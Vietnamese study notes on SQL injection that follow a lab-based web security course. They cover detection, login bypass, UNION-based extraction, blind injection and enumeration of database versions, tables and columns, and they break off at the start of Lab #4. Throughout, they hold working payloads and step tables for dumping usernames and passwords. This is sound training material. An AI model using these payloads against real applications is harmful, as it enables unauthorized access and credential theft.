# A, SQL injection

## 1, What is SQL injection (SQLi)? (SQL injection (SQLi) là gì?)
- ``SQL injection (SQLi)`` là một `lỗ hổng bảo mật web` cho phép kẻ tấn công `can thiệp` vào các truy vấn mà ứng dụng gửi đến cơ sở dữ liệu. Điều này có thể cho phép kẻ tấn công `xem các dữ liệu` mà bình thường họ không được phép truy cập. Những dữ liệu này có thể bao gồm thông tin thuộc về `người dùng` khác, hoặc bất kỳ dữ liệu nào mà ứng dụng có quyền truy cập.
- Trong nhiều trường hợp, kẻ tấn công có thể `sửa đổi` hoặc xóa dữ liệu đó, gây ra những `thay đổi` lâu dài đối với nội dung hoặc hành vi của ứng dụng.
- Trong một số tình huống, kẻ tấn công có thể leo thang cuộc tấn công `SQL injection` để `chiếm quyền kiểm soát` máy chủ hoặc hạ tầng phía sau. Nó cũng có thể cho phép họ thực hiện các cuộc tấn công từ chối dịch vụ ``(Denial-of-Service - DoS)``.
## 2, What is the impact of a successful SQL injection attack? (Tác động của một cuộc tấn công SQL injection thành công là gì?)
- Một cuộc tấn công `SQL injection` thành công có thể dẫn đến việc truy cập trái phép vào dữ liệu nhạy cảm, chẳng hạn như:
+ Mật khẩu.
+ Thông tin thẻ tín dụng.
+ Thông tin cá nhân của người dùng.
- Các cuộc tấn công `SQL injection` đã từng được sử dụng trong nhiều vụ `rò rỉ dữ liệu` quy mô lớn nổi tiếng trong nhiều năm qua. Những vụ việc này đã gây ra `thiệt hại` về danh tiếng và dẫn đến các khoản `tiền phạt` từ cơ quan quản lý.
- Trong một số trường hợp, kẻ tấn công có thể chiếm được một cửa hậu ``(backdoor)`` tồn tại lâu dài trong hệ thống của tổ chức, dẫn đến sự `xâm nhập kéo dài` mà có thể `không bị phát hiện` trong một khoảng thời gian dài.
## 3.0, How to detect SQL injection vulnerabilities (Cách phát hiện lỗ hổng SQL injection)
- Bạn có thể phát hiện `SQL injection` thủ công bằng cách thực hiện một loạt các bài kiểm tra có hệ thống tại mọi điểm nhập liệu trong ứng dụng. Để làm điều này, bạn thường sẽ gửi các giá trị sau:
+ Dấu nháy đơn ``'`` và quan sát lỗi hoặc hành vi bất thường của ứng dụng.
+ Cú pháp SQL đặc biệt có giá trị tương đương với giá trị ban đầu và một cú pháp khác để tạo giá trị khác, rồi so sánh sự khác biệt có hệ thống trong phản hồi của ứng dụng.
+ Điều kiện `Boolean`, như `OR 1=1` và `OR 1=2`, rồi xem sự khác biệt trong phản hồi.
+ Payload gây trễ thời gian, ví dụ như SLEEP(5), để xem ứng dụng có phản hồi chậm đi hay không.
+ ``Payload OAST (out-of-band)`` được thiết kế để tạo ra tương tác mạng bên ngoài khi được thực thi trong truy vấn `SQL`, và theo dõi xem có tương tác nào được tạo ra không.
- Ngoài ra, bạn có thể phát hiện phần lớn lỗ hổng `SQL injection` nhanh chóng và đáng tin cậy bằng cách sử dụng `Burp Scanner`.
## 3.1, SQL injection in different parts of the query (SQL injection trong các phần khác nhau của truy vấn)
- Hầu hết lỗ hổng `SQL injection` xảy ra trong mệnh đề `WHERE` của truy vấn `SELECT`. Đây là dạng phổ biến mà các kiểm thử viên có kinh nghiệm thường gặp.
- Tuy nhiên, lỗ hổng `SQL injection` có thể xảy ra ở bất kỳ phần nào trong truy vấn và với nhiều loại truy vấn khác nhau. Một số vị trí phổ biến khác bao gồm:
+ Trong truy vấn `UPDATE`, ở phần giá trị cần cập nhật hoặc mệnh đề `WHERE`.
+ Trong truy vấn `INSERT`, ở phần giá trị được chèn vào.
+ Trong truy vấn `SELECT`, ở phần tên bảng hoặc cột.
+ Trong truy vấn `SELECT`, ở phần `ORDER BY`.
## 4.0, SQL injection examples (Ví dụ về tiêm SQL)
- Có rất nhiều lỗ hổng, kỹ thuật và hình thức tấn công `SQL injection` xảy ra trong các tình huống khác nhau. Một số ví dụ phổ biến về `SQL injection` bao gồm:
+ `Truy xuất dữ liệu ẩn`: Khi bạn có thể sửa đổi một truy vấn SQL để trả về thêm kết quả ngoài dữ liệu ban đầu mà ứng dụng dự định hiển thị.
+ `Làm sai lệch logic ứng dụng`: Khi bạn có thể thay đổi truy vấn để can thiệp vào logic xử lý của ứng dụng, ví dụ như vượt qua bước đăng nhập hoặc kiểm tra điều kiện.
+ `Tấn công UNION`: Khi bạn có thể sử dụng toán tử UNION để kết hợp kết quả từ các bảng khác trong cơ sở dữ liệu và truy xuất thông tin không được phép.
+ ``SQL injection mù (Blind SQL injection)``: Khi kết quả của truy vấn bị kiểm soát không được hiển thị trực tiếp trong phản hồi của ứng dụng, buộc kẻ tấn công phải dựa vào các phản hồi gián tiếp (như thời gian phản hồi hoặc thay đổi trong nội dung hiển thị) để suy đoán dữ liệu.
## 4.1*, Retrieving hidden data (Lấy dữ liệu ẩn)
- Một ứng dụng mua sắm hiển thị sản phẩm theo từng danh mục. Khi người dùng chọn danh mục "`Gifts`", trình duyệt sẽ gửi yêu cầu đến:
```json
https://insecure-website.com/products?category=Gifts
```
- Ứng dụng thực hiện câu lệnh `SQL` sau để lấy dữ liệu:
```json
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
- Câu lệnh này chỉ lấy các sản phẩm thuộc danh mục "`Gifts`" và đã được phát hành (`released = 1`). Những sản phẩm chưa phát hành (`released = 0`) sẽ bị ẩn đi.
- Lỗ hổng `SQL injection`:
Ứng dụng không có cơ chế bảo vệ chống `SQL injection`, nên kẻ tấn công có thể khai thác như sau:
`1`. Xem tất cả sản phẩm trong danh mục "Gifts", kể cả chưa phát hành:
- URL tấn công:
```json
https://insecure-website.com/products?category=Gifts'--
```
- SQL tương ứng:
```json
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```
- Ký hiệu ``--`` trong SQL là để bắt đầu ghi chú, nên phần AND `released = 1` bị bỏ qua. Kết quả là toàn bộ sản phẩm (đã phát hành và chưa phát hành) đều hiển thị.
``2``. Hiển thị toàn bộ sản phẩm thuộc mọi danh mục:
- URL tấn công:
```json
https://insecure-website.com/products?category=Gifts'+OR+1=1--
```
- SQL tương ứng:
```json
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```
- Vì điều kiện 1=1 luôn đúng, nên câu lệnh sẽ trả về toàn bộ sản phẩm trong cơ sở dữ liệu, bất kể thuộc danh mục nào hay đã được phát hành hay chưa.
``Cảnh báo:
Cẩn thận khi sử dụng kỹ thuật OR 1=1 trong các thử nghiệm, vì nếu dữ liệu đầu vào bị dùng trong các câu lệnh UPDATE hoặc DELETE, thì có thể dẫn đến việc xóa hoặc thay đổi toàn bộ dữ liệu trong bảng.``
### Lab #1, SQL injection vulnerability in WHERE clause allowing retrieval of hidden data (Lỗ hổng SQL injection trong mệnh đề WHERE cho phép truy xuất dữ liệu ẩn)
- Đây là một bài thực hành SQL Injection rất cơ bản trong mệnh đề `WHERE`, nơi bạn cần lợi dụng lỗ hổng để bỏ qua điều kiện `released = 1` và truy xuất các sản phẩm chưa phát hành.
- `Mục tiêu`:
Làm cho ứng dụng hiển thị các sản phẩm chưa phát hành, tức là những sản phẩm mà `released = 0`.
- Hiểu truy vấn gốc:
```json
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
- Truy vấn này lọc các sản phẩm:
+ thuộc danh mục '`Gifts`'
+ đã được phát hành (`released = 1`)
- Ý tưởng tấn công:
Bạn muốn chèn một đoạn `SQL` khiến điều kiện `released = 1` bị vô hiệu hóa, hoặc luôn đúng để thấy tất cả sản phẩm, kể cả những cái `released = 0`.
- Payload phổ biến:
```json
' OR 1=1--
```
- Câu truy vấn cuối cùng hoạt động như sau:
```json
SELECT * FROM products WHERE category = '' OR 1=1
```
- Giải thích từng phần:
1. ``category = ''``
+ So sánh giá trị `category` với chuỗi rỗng ``''``.
+ Kết quả: `Sai`, vì không có sản phẩm nào thuộc danh mục rỗng.
2. `OR 1=1`
+ Đây là mánh chính của `SQL Injection`.
+ `1=1` luôn đúng, nên dù điều kiện trước là sai (``category = ''``), thì phần `OR 1=1` làm cho cả biểu thức trở thành `đúng`.
3. ``--``
+ Đây là dấu `comment` trong SQL.
+ Tất cả phần sau ``--`` sẽ bị bỏ qua.

## 4.2*, Subverting application logic (Lật đổ logic ứng dụng)
### Lab #2, SQL injection vulnerability allowing login bypass (Lỗ hổng SQL injection cho phép bỏ qua đăng nhập)
1. `Mô tả chức năng đăng nhập`
- Ứng dụng cho phép người dùng đăng nhập bằng tên người dùng và mật khẩu.
- Khi nhập, ứng dụng thực hiện truy vấn `SQL` sau:
```jsol
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```
→ Nếu truy vấn trả về kết quả (tức là có người dùng hợp lệ), đăng nhập thành công.
2. `Lỗ hổng SQL Injection`
- Kẻ tấn công có thể lợi dụng lỗ hổng `SQL injection` để bỏ qua kiểm tra mật khẩu.
- Điều này thực hiện bằng cách chèn ký tự comment SQL ``--`` để loại bỏ phần kiểm tra mật khẩu trong truy vấn.
3. `Ví dụ payload tấn công`
- Kẻ tấn công nhập:
```json
Username: administrator'--
Password: (để trống)
```
- Tạo ra truy vấn:
```json
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```
→ Phần -- khiến đoạn ``AND password = ''`` bị vô hiệu hóa (bị coi là comment).
4. `Kết quả`
- Truy vấn trở thành:
```json
SELECT * FROM users WHERE username = 'administrator'
```
→ Hệ thống thấy có người dùng "`administrator`" nên cho phép đăng nhập, không cần biết mật khẩu đúng hay sai.
5. `Hậu quả`
- Kẻ tấn công có thể đăng nhập vào tài khoản bất kỳ, bao gồm cả tài khoản quản trị (`administrator`), mà không cần biết mật khẩu.

## 4.3, Retrieving data from other database tables (Lấy dữ liệu từ các bảng cơ sở dữ liệu khác)
- Ứng dụng thực hiện truy vấn:
```sql
SELECT name, description FROM products WHERE category = 'Gifts'
```
- Nếu không kiểm tra đầu vào, kẻ tấn công có thể chèn:
```sql
' UNION SELECT username, password FROM users--
```
→ Truy vấn trở thành:
```sql
SELECT name, description FROM products WHERE category = ''
UNION SELECT username, password FROM users--
```
- `Kết quả`: Ứng dụng trả về cả thông tin sản phẩm và thông tin nhạy cảm từ bảng `users` như `username` và `password`.
- `Mục tiêu`: Dùng `UNION` để kết hợp và trích xuất dữ liệu từ bảng khác trong cơ sở dữ liệu.
## 4.4, Blind SQL injection vulnerabilities (Lỗ hổng tiêm SQL mù)
- Là kiểu tấn công `SQL` mà ứng dụng không hiển thị kết quả truy vấn hoặc lỗi, nhưng vẫn có thể bị khai thác thông qua các dấu hiệu gián tiếp.
- ``🛠 Các cách khai thác``:
+ `Boolean-based`: So sánh phản hồi khi điều kiện đúng/sai (``' AND 1=1 -- vs ' AND 1=2 --``).
+ `Time-based`: Dùng câu như ``SLEEP(5)`` để đo thời gian phản hồi.
+ ``Out-of-band (OAST)``: Gửi dữ liệu ra ngoài qua `DNS` hoặc `HTTP` đến `server attacker`.
## 4.5, Second-order SQL injection (Tiêm SQL bậc hai)
| Kiểu | Mô tả |
| --------------------- | -------------------------------------------------------------------------------------------------------------- |
| **First-order SQLi** | Dữ liệu độc được dùng ngay trong truy vấn SQL ở cùng request. |
| **Second-order SQLi** | Dữ liệu được lưu lại (ví dụ khi đăng ký), sau đó **dùng lại không an toàn** trong truy vấn SQL ở request khác. |
- 📌 Nguy hiểm của `Second-order`: Dữ liệu “trông có vẻ an toàn” vì đã được lưu rồi, nhưng vẫn có thể gây `SQLi` sau này.
## 5, Examining the database (Kiểm tra cơ sở dữ liệu)
``1.`` Khác biệt giữa các hệ quản trị (DBMS)
- Dù SQL cơ bản giống nhau, nhưng mỗi hệ quản trị (``MySQL, Oracle, MSSQL...``) có một số điểm khác biệt, ảnh hưởng đến việc khai thác `SQL injection`.
- Một số khác biệt quan trọng:
+ Nối chuỗi:
MySQL: ``CONCAT('a','b')``
Oracle: ``'a' || 'b'``
+ Comment (ghi chú):
MySQL, MSSQL: ``--``
Oracle: ``--`` nhưng phải có khoảng trắng sau
+ Xếp chồng truy vấn (stacked queries):
Hỗ trợ: MSSQL, PostgreSQL
Không hỗ trợ: Oracle
+ Lệnh xem version (cú pháp khác nhau):
MySQL: `SELECT @@version`
PostgreSQL: ``SELECT version()``
Oracle: `SELECT banner FROM v$version`
- Kết luận:
Khi khai thác `SQLi`, biết `CSDL` nào sẽ giúp bạn dùng đúng cú pháp và kỹ thuật phù hợp.
- Sau khi tìm thấy lỗ hổng `SQLi`, bạn nên:
+ Xác định loại và phiên bản DB (giúp chọn cú pháp đúng)
→ Ví dụ: `SELECT * FROM v$version` (Oracle)
+ Liệt kê bảng và cột trong DB để khai thác sâu hơn
→ Dùng: `SELECT * FROM information_schema.tables`
=> Giúp khai thác hiệu quả hơn.
``2.`` Cách xác định loại & cấu trúc cơ sở dữ liệu
- Kiểm tra cơ sở dữ liệu trong các cuộc tấn công `SQL injection`: Để khai thác lỗ hổng `SQL injection`, thường cần phải tìm thông tin về cơ sở dữ liệu. Bao gồm:
+ Loại và phiên bản của phần mềm cơ sở dữ liệu.
+ Các bảng và cột có trong cơ sở dữ liệu.
## 5.1*, Querying the database type and version (Truy vấn loại cơ sở dữ liệu và phiên bản)
- Sau khi phát hiện lỗ hổng `SQLi`, cần xác định loại và phiên bản `DBMS` để chọn cú pháp phù hợp khi khai thác.
- Có thể thử các truy vấn đặc trưng cho từng hệ:
| Hệ quản trị | Truy vấn xác định phiên bản |
| ----------------- | --------------------------- |
| Microsoft / MySQL | `SELECT @@version` |
| Oracle (Tiên tri) | `SELECT * FROM v$version` |
| PostgreSQL | `SELECT version()` |
- Mẹo khai thác:
+ Bạn có thể tiêm thử với `payload` như:
```sql
' UNION SELECT @@version--
```
+ Nếu payload chạy thành công và trả về thông tin phiên bản (ví dụ như "Microsoft SQL Server 2016..."), thì bạn đã xác định được loại DB.
### Lab #7, SQL injection attack, querying the database type and version on Oracle (Tấn công SQL injection, truy vấn loại cơ sở dữ liệu và phiên bản trên Oracle)
- Mục tiêu của bạn là:
➡️ Tiêm mã SQL vào phần category đó để truy vấn và hiển thị phiên bản của cơ sở dữ liệu Oracle mà trang web đang dùng.
- Bảng tóm tắt các bước khai thác SQL Injection truy vấn phiên bản Oracle
| **Bước** | **Mục tiêu** | **Thao tác** | **Payload cụ thể** | **Giải thích** |
| -------- | ------------------------------------------------- | --------------------------------------------------------------------------- | --------------------------------------------- | -------------------------------------------------------------------------------- |
| 1 | Chặn yêu cầu web để chèn mã độc | Dùng **Burp Suite** để chặn request đến `/filter?category=...` | Không có | Cho phép ta chỉnh sửa giá trị tham số `category` |
| 2 | Kiểm tra số lượng cột cần cho `UNION SELECT` | Tiêm thử một truy vấn hợp lệ với 2 cột | `'+UNION+SELECT+'abc','def'+FROM+dual--` | Kiểm tra xem có bao nhiêu cột và cột nào hiển thị được văn bản |
| 3 | Truy vấn thông tin phiên bản cơ sở dữ liệu Oracle | Thay `abc` bằng cột hệ thống `BANNER` từ bảng `v$version` | `'+UNION+SELECT+BANNER,NULL+FROM+v$version--` | `BANNER` chứa thông tin phiên bản Oracle. Cột thứ hai dùng `NULL` để đúng số cột |
| 4 | Quan sát kết quả hiển thị trên website | Kiểm tra giao diện web có hiển thị chuỗi như: <br>`Oracle Database 19c ...` | Không có | Nếu xuất hiện chuỗi phiên bản → bài lab được tính là **đã hoàn thành (Solved)** |
- 🧠 Kiến thức cần nhớ
- `Oracle` yêu cầu mọi `SELECT` phải có `FROM`. Nếu không có bảng thật, dùng bảng giả `dual`.
- Bảng hệ thống `v$version` chứa thông tin phiên bản `Oracle`.
- Trường `BANNER` của `v$version` chứa thông tin bạn cần.
- 🧠 Giải thích bổ sung
- `dual`: bảng đặc biệt trong `Oracle`, dùng khi không cần truy vấn từ bảng thật nào.
- `v$version`: bảng hệ thống chứa thông tin phiên bản cơ sở dữ liệu.
- `BANNER`: cột văn bản trong `v$version`, hiển thị tên và phiên bản `Oracle`.
- ``'--``: dấu `comment` trong `SQL` để bỏ phần truy vấn phía sau.
- Ý nghĩa bảo mật
- Nếu một `hacker` xem được các dòng như "``Oracle Database...``", họ sẽ biết:
-----Loại hệ quản trị cơ sở dữ liệu là gì (`Oracle`).
-----Phiên bản cụ thể đang chạy (`11.2.0.2.0`).
-----Hệ điều hành có thể là `Linux` (vì có dòng `TNS for Linux`).
=> Đây là thông tin rất nhạy cảm trong kiểm thử bảo mật, giúp `hacker` lên kế hoạch tấn công cụ thể hơn, như:
- Dùng kỹ thuật tấn công phù hợp với `Oracle`.
- Tận dụng các lỗ hổng đã biết của phiên bản `Oracle 11g`.
### Lab #8, SQL injection attack, querying the database type and version on MySQL and Microsoft (Tấn công tiêm SQL, truy vấn loại cơ sở dữ liệu và phiên bản trên MySQL và Microsoft)
| Cơ sở dữ liệu | Comment một dòng bằng `--` | Comment bằng `#` |
| ------------------------ | -------------------------- | ---------------- |
| **MySQL** | ✅ Có hỗ trợ (`-- `) | ✅ Có hỗ trợ |
| **Microsoft SQL Server** | ✅ Có hỗ trợ (`-- `) | ❌ Không hỗ trợ |
- Một hệ thống SQL (tức là một server backend cụ thể) chỉ dùng đúng `1 hệ quản trị` cơ sở dữ liệu tại một thời điểm — ví dụ: MySQL hoặc SQL Server, không phải cả hai.
| Ký tự | Nguyên nhân không hoạt động | Giải pháp |
| ------------------ | ---------------------------------------------------------------------------- | -------------------------------------------- |
| `'` (nháy đơn) | Không hợp lệ trong URL → trình duyệt tự encode thành `%27` | Encode đúng hoặc dùng công cụ như Burp Suite |
| `#` (hash) | Được trình duyệt dùng làm "fragment" → **không gửi phần sau `#` lên server** | Dùng `%23` hoặc gửi bằng Burp Suite |
| ` ` (khoảng trắng) | Tự động mã hóa thành `%20` | Encode đúng hoặc dùng Burp Suite |
| `--` (comment SQL) | Yêu cầu có khoảng trắng sau: `-- ` | Viết đúng cú pháp |
- Vì sao các ký tự như ``', #, --`` có thể không hoạt động trong `SQL Injection`:
- Trình duyệt tự `encode` hoặc bị `backend` lọc/chặn.
- Có thể do `admin fix` hoặc hệ thống chặn `keyword` độc hại.
- Có thể do `WAF hoặc backend` chặn từ khóa nguy hiểm.
- Do trình duyệt không gửi đủ dữ liệu.
- Nguồn chính thống về URL encoding: https://www.w3schools.com/tags/ref_urlencode.asp
| **Bước** | **Mục tiêu** | **Thao tác thực hiện** | **Giải thích** |
| -------- | ----------------------------------------------- | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| 1 | Xác định số lượng cột trong truy vấn gốc | Gửi payload: `Accessories' UNION SELECT NULL,NULL%23` (đã mã hóa `#`) | Nếu không lỗi → biết được có 2 cột → sẵn sàng dùng UNION SELECT |
| 2 | Xác định cột nào hiển thị được văn bản | Gửi payload: `Accessories' UNION SELECT 'abc','def'%23` | Nếu trang hiển thị “abc” hoặc “def” → xác định được cột có kiểu `text` |
| 3 | Truy xuất phiên bản cơ sở dữ liệu | Gửi payload: `Accessories' UNION SELECT @@version,NULL%23` | Nếu version được hiển thị → truy xuất thành công thông tin DBMS |
| 4 | Nhận diện loại hệ quản trị cơ sở dữ liệu (DBMS) | Quan sát kết quả: nếu chứa “MySQL” hoặc bắt đầu bằng “8.0…” → xác định là MySQL | `#` là comment chỉ dùng được trong MySQL → giúp phân biệt DBMS |
| 5 | Hoàn tất bài lab | Quan sát trang web hiện dòng “Congratulations, you solved the lab!” | Chứng minh việc khai thác SQL Injection thành công và hoàn tất yêu cầu |
## 5.2*, Listing the contents of the database (Liệt kê nội dung của cơ sở dữ liệu)
`1`. Liệt kê tất cả các bảng:
```sql
SELECT * FROM information_schema.tables;
```
- Trả về danh sách bảng với các cột như: ``TABLE_NAME, TABLE_SCHEMA, TABLE_TYPE,...``
- Ví dụ: `Products, Users, Feedback` là các bảng trong cơ sở dữ liệu.
`2`. Liệt kê các cột của bảng cụ thể:
```sql
SELECT * FROM information_schema.columns WHERE table_name = 'Users';
```
- Trả về tên và kiểu dữ liệu các cột trong bảng `Users`.
- Ví dụ: `UserId – int`, `Username – varchar`, `Password – varchar`
`3`. 🔍 Ghi chú:
- `information_schema` là chuẩn thông tin hệ thống, hỗ trợ hầu hết các hệ quản trị cơ sở dữ liệu `trừ Oracle`.
- Dùng để khám phá cấu trúc `CSDL`, đặc biệt hữu ích trong kiểm thử và khai thác `SQL Injection`.
### Lab #9, SQL injection attack, listing the database contents on non-Oracle databases (Tấn công tiêm SQL, liệt kê nội dung cơ sở dữ liệu trên các cơ sở dữ liệu không phải của Oracle)
| **Bước** | **Mục tiêu** | **Payload thực tế sử dụng** | **Kết quả và phân tích** |
| -------- | ----------------------------------------------- | --------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ |
| **1** | **Xác định số cột và kiểu dữ liệu** | `'UNION SELECT 'abc','def'--` | Trả về `abc` và `def` trên giao diện → xác nhận có **2 cột**, cả hai đều **kiểu chuỗi (string)** |
| **2** | **Liệt kê tất cả các bảng trong cơ sở dữ liệu** | `'UNION SELECT table_name, NULL FROM information_schema.tables--` | Kết quả có nhiều bảng hệ thống PostgreSQL (`pg_...`), trong đó phát hiện bảng người dùng: **`users_rwfbuy`** |
| **3** | **Liệt kê các cột trong bảng `users_rwfbuy`** | `'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users_rwfbuy'--` | Trả về các cột: `username_vowkvg`, `password_bqwlpg`, `email` → xác nhận bảng này chứa thông tin đăng nhập |
| **4** | **Kiểm tra hiển thị dữ liệu từ cột username** | `'UNION SELECT username_vowkvg, NULL FROM users_rwfbuy--` | Trả về danh sách người dùng: `carlos`, `wiener`, **`administrator`** → tìm thấy người dùng mục tiêu |
| **5** | **Truy xuất tên và mật khẩu người dùng** | `'UNION SELECT username_vowkvg, password_bqwlpg FROM users_rwfbuy--` | Lấy được cặp thông tin đăng nhập, bao gồm mật khẩu của `administrator` (ví dụ: `p@ssw0rd123`) |
| **6** | **Đăng nhập với tư cách `administrator`** | Sử dụng thông tin lấy được từ bước 5 | Đăng nhập thành công vào hệ thống với tài khoản `administrator` và hoàn thành bài lab |
### Lab #10, SQL injection attack, listing the database contents on Oracle (Tấn công SQL injection, liệt kê nội dung cơ sở dữ liệu trên Oracle)
- Liệt kê tất cả các bảng:
```sql
SELECT * FROM all_tables;
```
- Liệt kê tất cả các cột trong một bảng cụ thể:
```sql
SELECT * FROM all_tab_columns WHERE table_name = 'USERS';
```
| **Bước** | **Mục tiêu** | **Payload thực tế sử dụng** | **Kết quả và phân tích** |
| -------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| **1** | **Xác định số cột và kiểu dữ liệu** | `' UNION SELECT 'abc','def' FROM dual--` | Kết quả trả về hiển thị `'abc'` và `'def'` → xác nhận có **2 cột**, cả hai đều là **kiểu văn bản (text)** |
| **2** | **Liệt kê tất cả các bảng trong cơ sở dữ liệu Oracle** | `' UNION SELECT table_name, NULL FROM all_tables--` | Trả về danh sách nhiều bảng, trong đó có bảng đáng chú ý: **`USERS_OFMSMT`** |
| **3** | **Liệt kê các cột trong bảng `USERS_OFMSMT`** | `' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_OFMSMT'--` | Trả về các cột: **`USERNAME_UIBVLQ`** và **`PASSWORD_TNQBCQ`** → xác nhận đây là bảng chứa thông tin đăng nhập |
| **4** | **Truy xuất danh sách tài khoản và mật khẩu** | `' UNION SELECT USERNAME_UIBVLQ, PASSWORD_TNQBCQ FROM USERS_OFMSMT--` | Trả về danh sách người dùng và mật khẩu, bao gồm dòng `administrator` |
| **5** | **Đăng nhập với tư cách `administrator`** | Dùng tài khoản và mật khẩu thu được ở bước 4 | Đăng nhập thành công với tư cách `administrator` → **hoàn thành lab** |
## 6, UNION attacks (Liên minh tấn công)
`Tóm tắt – Tấn công SQL Injection bằng UNION`:
- `UNION SQL Injection` là kỹ thuật khai thác lỗ hổng `SQL injection` bằng cách dùng từ khóa `UNION` để nối thêm truy vấn mới vào truy vấn gốc của ứng dụng.
- Mục đích là để lấy dữ liệu từ bảng khác trong cơ sở dữ liệu và hiển thị ra ngoài qua giao diện người dùng.
- Cách hoạt động
+ Cú pháp mẫu:
```SQL
SELECT a, b FROM table1
UNION
SELECT c, d FROM table2
```
→ Kết quả: một bảng gồm 2 cột chứa dữ liệu từ cả hai truy vấn.
- Điều kiện để `UNION` hoạt động thành công
+ Số lượng cột trong các truy vấn phải giống nhau.
+ Kiểu dữ liệu ở các vị trí cột phải tương thích nhau (``vd: INT, VARCHAR...``).
- Mục tiêu của `hacker` khi dùng `UNION`
+ Xác định số lượng cột trong truy vấn gốc.
+ Xác định những cột nào có thể hiển thị kết quả lên giao diện.
+ Sau đó thay thế `NULL` bằng dữ liệu thật (như `username, password`) để lấy thông tin.
## 6.1*, Determining the number of columns required (Xác định số lượng cột cần thiết)
| 🔢 Phương pháp | 💡 Mô tả cơ bản | 📌 Kỹ thuật sử dụng | 🧪 Ví dụ tải trọng | 🧠 Kết quả quan sát | ⚠️ Ưu & nhược điểm |
| ------------------- | --------------------------------------------------------------- | --------------------------------- | ------------------------------------------------------- | ----------------------------------------------- | ------------------------------------------------------------- |
| **1. ORDER BY** | Sắp xếp theo từng cột, tăng dần cho đến khi bị lỗi | Chèn `ORDER BY <số>` vào truy vấn | `' ORDER BY 1--`<br>`' ORDER BY 2--` | Khi vượt quá số cột → lỗi trả về | ✔️ Dễ thấy lỗi<br>❌ Không hiển thị thêm dữ liệu |
| **2. UNION SELECT** | Dùng `UNION SELECT` với số lượng `NULL` tăng dần để đoán số cột | `UNION SELECT NULL,...` | `' UNION SELECT NULL--`<br>`' UNION SELECT NULL,NULL--` | Khi đúng số cột → có thể thấy dòng dữ liệu rỗng | ✔️ Có thể dẫn đến hiển thị dữ liệu<br>❌ Phụ thuộc HTML đầu ra |
- Ghi chú thêm:
- `NULL` được dùng vì nó tự động phù hợp mọi kiểu dữ liệu, giúp tránh lỗi `type mismatch`.
- Khi số `NULL` đúng với số cột của truy vấn gốc, có thể hiển thị dòng mới trong bảng `HTML` hoặc gây lỗi khác.
- Cả 2 kỹ thuật này thường được thử trước khi thực hiện tấn công `UNION` thật.
### Lab #3, SQL injection UNION attack, determining the number of columns returned by the query (Tấn công SQL injection UNION, xác định số lượng cột được trả về bởi truy vấn)
- `Mục tiêu của bài`:
+ Khai thác lỗ hổng `SQL injection` qua tham số `category` trong `URL`.
+ Sử dụng câu lệnh `UNION SELECT` để xác định số lượng cột (`columns`) được truy vấn trả về.
+ Bước chuẩn bị quan trọng để thực hiện các kiểu `SQL injection` phức tạp hơn (trích xuất dữ liệu sau này).
- `Cách thực hiện`:
-----Gửi truy vấn với tham số category có chứa payload SQL:
```sql
GET /filter?category=' UNION SELECT NULL--
```
→ Nếu báo lỗi, tức là số cột không đúng (chưa đủ).
-----Thử lại với nhiều NULL hơn:
```sql
' UNION SELECT NULL,NULL-- (2 cột)
' UNION SELECT NULL,NULL,NULL-- (3 cột)
```
-----Khi không còn lỗi và dữ liệu hiển thị lên trang, bạn đã xác định được số cột của truy vấn gốc.
Ví dụ: NULL,NULL,NULL thành công → có 3 cột.
| 🔑 **Thành phần** | 🧠 **Mô tả chi tiết** | 🧨 **Vai trò trong tấn công SQLi UNION** | 💡 **Ví dụ minh họa** |
| ----------------- | ------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| `UNION` | Từ khóa trong SQL cho phép **ghép kết quả của 2 (hoặc nhiều) truy vấn SELECT** thành một bảng kết quả chung. | Dùng để **gắn thêm truy vấn giả mạo** vào sau truy vấn gốc → lấy dữ liệu ngoài ý muốn của ứng dụng. | `' UNION SELECT NULL--` → thêm dòng dữ liệu vào bảng HTML trả về |
| `SELECT` | Câu lệnh truy vấn trong SQL để **lấy dữ liệu từ bảng trong cơ sở dữ liệu**. Có thể chỉ định các cột cụ thể. | Là **truy vấn phụ được tiêm vào**, nhằm truy xuất dữ liệu tùy ý như `username`, `password`, hoặc kiểm tra số cột. | `' UNION SELECT username, password FROM users--` |
| `NULL` | Giá trị đặc biệt trong SQL biểu thị **giá trị không xác định / không có**. **Không ràng buộc kiểu dữ liệu**. | Dùng để **xác định đúng số cột** của truy vấn gốc một cách an toàn vì `NULL` không gây lỗi kiểu dữ liệu. | `' UNION SELECT NULL,NULL--` để kiểm tra xem truy vấn gốc có 2 cột không |

## 6.2*, Finding columns with a useful data type (Tìm các cột có kiểu dữ liệu hữu ích)
| Mục tiêu | Nội dung chi tiết |
| -------------------------- | ------------------------------------------------------------------------------- |
| 🎯 Mục đích | Tìm cột trong truy vấn gốc **chấp nhận kiểu dữ liệu chuỗi** (dạng `string`) |
| 🧠 Vì sao cần | Để **in dữ liệu dạng văn bản** như tên người dùng, bảng, cột... thông qua UNION |
| 🛠️ Cách làm | Dùng nhiều truy vấn `UNION SELECT` thử lần lượt `'a'` vào từng cột |
| 🧪 Ví dụ | `' UNION SELECT 'a',NULL,NULL--`<br>`' UNION SELECT NULL,'a',NULL--` (v.v.) |
| ✅ Dấu hiệu thành công | - Không bị lỗi<br>- Nhìn thấy `'a'` trong phản hồi HTML |
| ❌ Dấu hiệu thất bại | - Lỗi kiểu dữ liệu (ví dụ: `Conversion failed...`)<br>- Không có phản hồi gì |
| 💡 Kết luận khi thành công | Cột đó dùng được để **hiển thị dữ liệu nhạy cảm từ truy vấn inject** |
| 🔍 Sử dụng tiếp theo | `UNION SELECT user(), database(), table_name, ...` |
- Kết luận: Bước này giúp xác định cột nào có thể dùng để hiển thị thông tin nhạy cảm — là chìa khóa để khai thác dữ liệu thành công.
### Lab #4, SQL injection UNION attack, finding a column containing text (Tấn công SQL injection UNION, tìm một cột chứa văn bản)
`Bước 1: Tìm số lượng cột trong truy vấn`
